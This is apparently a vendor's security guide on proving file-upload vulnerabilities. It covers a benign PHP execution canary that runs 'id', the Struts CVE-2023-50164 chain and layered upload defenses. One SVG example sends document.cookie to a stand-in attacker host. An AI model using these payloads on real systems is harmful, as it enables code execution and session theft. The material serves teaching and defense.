An accepted upload is not proof: verifying an exploitable file upload
“The server accepted my .php,” and “I can see my file in /uploads/,” are where most file-upload reports begin and end. But an accepted file is a precondition, not an exploit: it proves validation is weak, not that your code ran. Whether the upload is dangerous is decided by what the application does with the file afterwards — where it lands, whether that path executes server-side code, and whether anyone can reach it. A practitioner's guide to telling an accepted upload apart from a real one, proving remote code execution (or stored XSS) with a benign, scoped payload you then request back, the real Apache Struts chain that needed path traversal to land the file where it would run, and the storage and allow-list defenses that hold.
By The Xalgorix Team
Two observations end most file-upload reports before they have started. The first: “the server accepted my .php — its validation is broken.” The second, one step further: “I can see my file sitting in /uploads/.” Both feel like findings, and both are preconditions at best. An application that accepts a dangerous file has skipped a check — but the vulnerability is not “the server accepted a file.” It is that an attacker can get the application to do something dangerous with that file: run it as server-side code, or serve it back to other users as a script in the site's own origin. Whether either is possible is not decided by the upload succeeding. It is decided by what happens to the bytes next — where they land, whether that location executes code, and whether anyone can reach it.
Why an accepted upload is not a vulnerability
The weakness has a precise name: CWE-434, Unrestricted Upload of File with Dangerous Type — defined by MITRE as a product that “allows the upload or transfer of dangerous file types that are automatically processed within its environment.” The operative phrase is automatically processed within its environment. PortSwigger puts the same idea in terms of impact: it “depends on what the website does with the file once it has been uploaded,” and the worst case is reserved for when the server can be made to execute what you sent. Acceptance is one reason an application might be exploitable. It is not the thing itself. A file that is accepted, stored, and then never run or served to anyone is a hygiene problem, not a report.
For RCE, three things must all be true
The headline outcome — a web shell, “a malicious script that enables an attacker to execute arbitrary commands… simply by sending” requests, as PortSwigger describes it — needs more than an accepted file. It needs all three of the following, and a verification is really just confirming each in turn:
The first condition is about the file; the second and third are about the deployment, and they are where most reports quietly fail. PortSwigger is explicit that execution “is also largely dependent on the file's extension and… whether the server is configured to execute files of this type.” A pristine PHP web shell that lands in an S3 bucket, or a directory the web server serves as static files, or a path that is never requested, is not remote code execution. It is a file.
The signals that lie
- “Content-Type said image, but it took my PHP.” Spoofing the
Content-Typeheader in Burp and watching the upload succeed proves the server trusts a client-controlled header — which PortSwigger notes “can be easily bypassed” precisely because it is not checking the real contents. That establishes weak validation. It says nothing about whether the stored file runs. - “It's in the uploads folder.” Stored is not executed. Seeing your file listed, or getting back a URL, confirms it reached the filesystem — not that requesting that URL invokes an interpreter rather than streaming bytes.
- “The blacklist let
.phtmlthrough.” A blocklist bypass is a genuine validation flaw — OWASP calls blocklisting “inherently flawed” — but it is still only condition one. An accepted.phtmlonly matters if the server is configured to execute.phtmlat the path it was written to.
Proving RCE: upload, then request it back
The proof is not the upload response; it is a second request. Upload a small, benign, server-side script that emits a unique marker and runs one read-only command, then request the stored file at its URL and confirm the server ran it. Keep the payload scoped to a canary and a harmless command — you are demonstrating execution, not exercising it:
<!-- shell.php uploaded, then REQUESTED at its stored URL -->
<?php echo "XALGORIX-PROOF-" . shell_exec("id"); ?>
PRECONDITION (weak, not a bug on its own):
the server accepted shell.php -> validation is broken.
PROOF (the actual finding):
GET https://target.example/uploads/shell.php
returns: XALGORIX-PROOF-uid=33(www-data) gid=33(www-data)
-- the server EXECUTED the file.
NOT PROOF:
the same GET returns the literal text "<?php echo ... ?>"
-- the path serves bytes, it does not run PHP. No RCE here.What turns this from a demo into evidence is the differential: the marker comes back computed (the command output is interpolated into it), not echoed as source, and it only does so from the uploaded path. If the response is your file's text, the path does not execute — and you have found weak validation, which is worth reporting as exactly that and no more. This is also where honesty about automated tooling matters, Xalgorix included: a scanner that flags “unrestricted file upload” because an endpoint accepted a script has found a candidate, not a vulnerability. The thing worth shipping is the re-exploit that fetches the stored URL and shows the marker executed, because a developer can reproduce it and a triager can trust it.
When it isn't RCE but is still real: stored XSS
Execution on the server is the worst case, not the only one. PortSwigger notes that “uploading malicious HTML or SVG files” can enable client-side attacks, because the browser will render them. If the application serves an uploaded SVG or HTML file inline from its own origin — rather than forcing a download or serving it from a separate sandbox domain — script inside it runs in that origin, with the victim's session. The precondition is “an SVG was accepted as an image.” The proof is the script firing in the target's origin:
<!-- avatar.svg accepted as an "image", then served inline -->
<svg xmlns="http://www.w3.org/2000/svg">
<script>new Image().src =
"https://oast.attacker.example/?c=" + document.cookie;</script>
</svg>
PROOF = open the stored SVG's URL as a logged-in victim and confirm
the callback fires FROM target.example's origin with the victim's
session -- not just "the server stored an .svg". If the file is
served with Content-Disposition: attachment, or from a cookieless
sandbox domain, the script never runs in-origin. Not exploitable.A real one: when the file had to be steered to where it would run
Apache's own advisory for CVE-2023-50164 (S2-066) shows why “it accepted my file” is the start, not the end. The flaw was not that Struts accepted an upload — it accepts uploads by design. Per Apache, “an attacker can manipulate file upload params to enable paths traversal,” and “under some circumstances this can lead to uploading a malicious file which can be used to perform Remote Code Execution.” The exploit was the chain that steered the file out of the benign temporary location and into a path where it would be served and executed, then requested it.
It was rated critical — CVSS 9.8, per Arctic Wolf's analysis — and it was not theoretical: Arctic Wolf reported that “on December 13, 2023, threat actors began exploitation attempts against CVE-2023-50164,” leveraging a publicly published proof-of-concept. Apache's advisory lists the affected ranges as Struts 2.0.0–2.3.37 (end-of-life), 2.5.0–2.5.32, and 6.0.0–6.3.0, with the fix in 2.5.33 and 6.3.0.2 or later. The lesson for a tester is the inverse of the headline: the dangerous property was never the upload feature. It was that an attacker could decide where the file went.
Signals that mislead — in both directions
- Accepted on a storage host that never executes. Many apps push uploads straight to an object store or a dedicated static host. A web shell there is inert — it is served as bytes, not run. Confirm what actually serves the file before claiming RCE.
- A random filename you cannot find. If the server renames the file to a UUID and never tells you the path, you may have uploaded a working shell you can never reach. That is the blind case: without the URL, there is no proof — and the renaming is itself part of the defense.
- Double extension stripped to safe. A server that accepts
shell.php.jpgbut then stores and serves it as.jpgexecutes nothing. The accepted name is not the served name; verify which one the runtime sees. - A config-file upload worth proving. Where a server honours a per-directory
.htaccessorweb.configin the upload folder, uploading one can make a custom extension executable — turning a dead drop into a live one. That is a real escalation; prove the chain (config uploaded, then a file it newly executes), not just the first upload.
The fix that holds
No single check is the defense; the layers that matter are about the file's type and its destiny. OWASP's File Upload Cheat Sheet is direct that “blocking specific extensions is a weak protection method on its own,” that you should “only allow safe and critical extensions,” and that “creating a random string as a filename, such as generating a UUID/GUID, is essential.” Just as important is where the bytes come to rest: OWASP ranks storing uploads on a different host, or at least outside the webroot, above keeping them anywhere the web server will execute them.
// Validate the TYPE, then control the DESTINY.
const id = crypto.randomUUID(); // not the user's filename
if (!ALLOWED_EXT.has(ext(original))) reject(); // allow-list, ONE extension
await verifyMagicBytes(buf, ALLOWED_EXT); // contents, not the Content-Type header
await reencodeIfImage(buf); // re-encode images to strip payloads
await putObject("uploads/" + id, buf); // a store/dir with NO execute permission
// Serving route: force a safe type; never trust the client's.
res.setHeader("Content-Type", safeType);
res.setHeader("X-Content-Type-Options", "nosniff"); // stop MIME sniffing
res.setHeader("Content-Disposition", "attachment"); // for non-render types
// And: never execute the upload directory; disable per-dir config overrides.The common thread is that none of these trusts the upload to be harmless — they assume it is hostile and remove every path by which it could be run or rendered. An allow-list the attacker cannot widen, contents checked rather than a spoofable header, a generated name, storage that does not execute, and a serving layer that forces a safe content type together remove all three conditions RCE needs and the one stored XSS needs — while re-encoding and nosniff sit behind them as defense in depth.
Ready to see it prove a bug?
Start scanning on Cloud →